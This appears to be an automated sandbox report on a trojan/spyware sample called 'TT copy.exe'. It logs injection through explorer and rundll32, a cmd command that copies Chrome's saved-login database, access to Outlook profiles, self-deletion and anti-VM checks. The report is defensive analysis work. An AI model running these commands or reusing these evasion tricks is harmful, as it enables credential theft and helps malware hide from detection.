Source: TT copy.exe, 00000003.00000000.276422177.00000000005C4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStreamingContextSta.exeJ vs TT copy.exe
Source: TT copy.exe, 00000003.00000003.278076755.0000000000E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs TT copy.exe
Source: TT copy.exe, 00000003.00000002.358488954.0000000000FFC000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRUNDLL32.EXEj% vs TT copy.exe
Source: TT copy.exe, 00000003.00000003.286643479.0000000000FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs TT copy.exe
Source: TT copy.exe	Binary or memory string: OriginalFilenameStreamingContextSta.exeJ vs TT copy.exe

Source: TT copy.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: TT copy.exe

Virustotal: Detection: 34%

Source: TT copy.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\TT copy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\TT copy.exe "C:\Users\user\Desktop\TT copy.exe"
Source: C:\Users\user\Desktop\TT copy.exe	Process created: C:\Users\user\Desktop\TT copy.exe C:\Users\user\Desktop\TT copy.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\TT copy.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TT copy.exe	Process created: C:\Users\user\Desktop\TT copy.exe C:\Users\user\Desktop\TT copy.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\TT copy.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32

Source: C:\Users\user\Desktop\TT copy.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TT copy.exe.log

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\DB1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/2@16/9

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Source: TT copy.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\TT copy.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1584:120:WilError_01

Source: TT copy.exe, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.TT copy.exe.520000.0.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.TT copy.exe.520000.0.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.0.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.1.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.3.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.5.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.TT copy.exe.520000.1.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.7.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.2.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.TT copy.exe.520000.9.unpack, Fa/Vo.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\TT copy.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains method to dynamically call methods (often used by packers)

Source: TT copy.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: TT copy.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: TT copy.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: StreamingContextSta.pdb source: TT copy.exe
Source:	Binary string: wntdll.pdbUGP source: TT copy.exe, 00000003.00000002.358699164.000000000115F000.00000040.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.277558771.0000000000D05000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.283452054.0000000000EA1000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000002.358500037.0000000001040000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.359728114.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775648086.000000000529F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.352750637.0000000004E4D000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775512023.0000000005180000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: TT copy.exe, TT copy.exe, 00000003.00000002.358699164.000000000115F000.00000040.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.277558771.0000000000D05000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000003.283452054.0000000000EA1000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000003.00000002.358500037.0000000001040000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 0000000F.00000003.359728114.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775648086.000000000529F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.352750637.0000000004E4D000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775512023.0000000005180000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: TT copy.exe, 00000003.00000002.358458771.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: TT copy.exe, 00000003.00000002.358458771.0000000000FF0000.00000040.10000000.00040000.00000000.sdmp

Data Obfuscation

Source: TT copy.exe, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.0.TT copy.exe.520000.0.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.2.TT copy.exe.520000.0.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.0.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.1.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.3.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.5.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.2.TT copy.exe.520000.1.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.7.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.2.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.TT copy.exe.520000.9.unpack, Fa/Vo.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_00E5D5C0 push C3FFFFE9h; ret	0_2_00E5D5E4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_00E5F750 push eax; iretd	0_2_00E5F751
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB8561 pushfd ; ret	0_2_06EB8565
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE5F49 push es; ret	0_2_06EE5F60
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE6239 push es; iretd	0_2_06EE623C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE3201 push esp; iretd	0_2_06EE3202
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE60BD push es; iretd	0_2_06EE60C8
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041BD87 push 7FF49B4Bh; retf	3_2_0041BD8D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041D672 push eax; ret	3_2_0041D678
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041D67B push eax; ret	3_2_0041D6E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041D625 push eax; ret	3_2_0041D678
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041D6DC push eax; ret	3_2_0041D6E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00417F2D push cs; retf	3_2_00417F37
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_004177BE push cs; retf	3_2_004177C4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010BD0D1 push ecx; ret	3_2_010BD0E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051FD0D1 push ecx; ret	15_2_051FD0E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4BD87 push 7FF49B4Bh; retf	15_2_00F4BD8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4D6DC push eax; ret	15_2_00F4D6E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4D672 push eax; ret	15_2_00F4D678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4D67B push eax; ret	15_2_00F4D6E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4D625 push eax; ret	15_2_00F4D678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F477BE push cs; retf	15_2_00F477C4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F47F2D push cs; retf	15_2_00F47F37

Source: TT copy.exe

Static PE information: 0xE98C9EE8 [Mon Mar 1 18:37:28 2094 UTC]

Source: initial sample

Static PE information: section name: .text entropy: 7.8550082389

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: /c del "C:\Users\user\Desktop\TT copy.exe"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: /c del "C:\Users\user\Desktop\TT copy.exe"			Jump to behavior

Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 00000000.00000002.287883851.0000000002983000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TT copy.exe PID: 1800, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: TT copy.exe, 00000000.00000002.287883851.0000000002983000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: TT copy.exe, 00000000.00000002.287883851.0000000002983000.00000004.00000800.00020000.00000000.sdmp, TT copy.exe, 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\TT copy.exe	RDTSC instruction interceptor: First address: 0000000000408C14 second address: 0000000000408C1A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TT copy.exe	RDTSC instruction interceptor: First address: 0000000000408FAE second address: 0000000000408FB4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000F38C14 second address: 0000000000F38C1A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000F38FAE second address: 0000000000F38FB4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\TT copy.exe TID: 5700	Thread sleep time: -43731s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe TID: 3808	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\TT copy.exe

Code function: 3_2_00408EE0 rdtsc

3_2_00408EE0

Source: C:\Users\user\Desktop\TT copy.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\TT copy.exe	API coverage: 6.5 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 9.4 %

Source: C:\Users\user\Desktop\TT copy.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F41670 FindFirstFileW,FindNextFileW,FindClose,		15_2_00F41670
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4166B FindFirstFileW,FindNextFileW,FindClose,		15_2_00F4166B

Source: C:\Users\user\Desktop\TT copy.exe	Thread delayed: delay time: 43731			Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000007.00000000.332892277.00000000051AC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: TT copy.exe, 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000007.00000000.408200731.00000000051F7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: -94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}71USER
Source: TT copy.exe, 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.334319588.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000007.00000000.409396951.0000000005EAB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.295820558.000000000510C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 0000000F.00000002.775195320.00000000034E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775216398.0000000003503000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000007.00000000.408200731.00000000051F7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: TT copy.exe, 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000007.00000000.295820558.000000000510C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000007.00000000.334319588.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}on:Mondz?S
Source: TT copy.exe, 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000007.00000000.334319588.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00dRom0cY

Source: C:\Users\user\Desktop\TT copy.exe

Code function: 3_2_00408EE0 rdtsc

3_2_00408EE0

Source: C:\Users\user\Desktop\TT copy.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069100 mov eax, dword ptr fs:[00000030h]	3_2_01069100
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069100 mov eax, dword ptr fs:[00000030h]	3_2_01069100
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069100 mov eax, dword ptr fs:[00000030h]	3_2_01069100
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01084120 mov eax, dword ptr fs:[00000030h]	3_2_01084120
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01084120 mov eax, dword ptr fs:[00000030h]	3_2_01084120
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01084120 mov eax, dword ptr fs:[00000030h]	3_2_01084120
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01084120 mov eax, dword ptr fs:[00000030h]	3_2_01084120
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01084120 mov ecx, dword ptr fs:[00000030h]	3_2_01084120
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109513A mov eax, dword ptr fs:[00000030h]	3_2_0109513A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109513A mov eax, dword ptr fs:[00000030h]	3_2_0109513A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B944 mov eax, dword ptr fs:[00000030h]	3_2_0108B944
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B944 mov eax, dword ptr fs:[00000030h]	3_2_0108B944
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106C962 mov eax, dword ptr fs:[00000030h]	3_2_0106C962
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106B171 mov eax, dword ptr fs:[00000030h]	3_2_0106B171
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106B171 mov eax, dword ptr fs:[00000030h]	3_2_0106B171
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108C182 mov eax, dword ptr fs:[00000030h]	3_2_0108C182
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109A185 mov eax, dword ptr fs:[00000030h]	3_2_0109A185
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092990 mov eax, dword ptr fs:[00000030h]	3_2_01092990
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E69A6 mov eax, dword ptr fs:[00000030h]	3_2_010E69A6
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010961A0 mov eax, dword ptr fs:[00000030h]	3_2_010961A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010961A0 mov eax, dword ptr fs:[00000030h]	3_2_010961A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E51BE mov eax, dword ptr fs:[00000030h]	3_2_010E51BE
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E51BE mov eax, dword ptr fs:[00000030h]	3_2_010E51BE
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E51BE mov eax, dword ptr fs:[00000030h]	3_2_010E51BE
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E51BE mov eax, dword ptr fs:[00000030h]	3_2_010E51BE
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011249A4 mov eax, dword ptr fs:[00000030h]	3_2_011249A4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011249A4 mov eax, dword ptr fs:[00000030h]	3_2_011249A4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011249A4 mov eax, dword ptr fs:[00000030h]	3_2_011249A4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011249A4 mov eax, dword ptr fs:[00000030h]	3_2_011249A4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
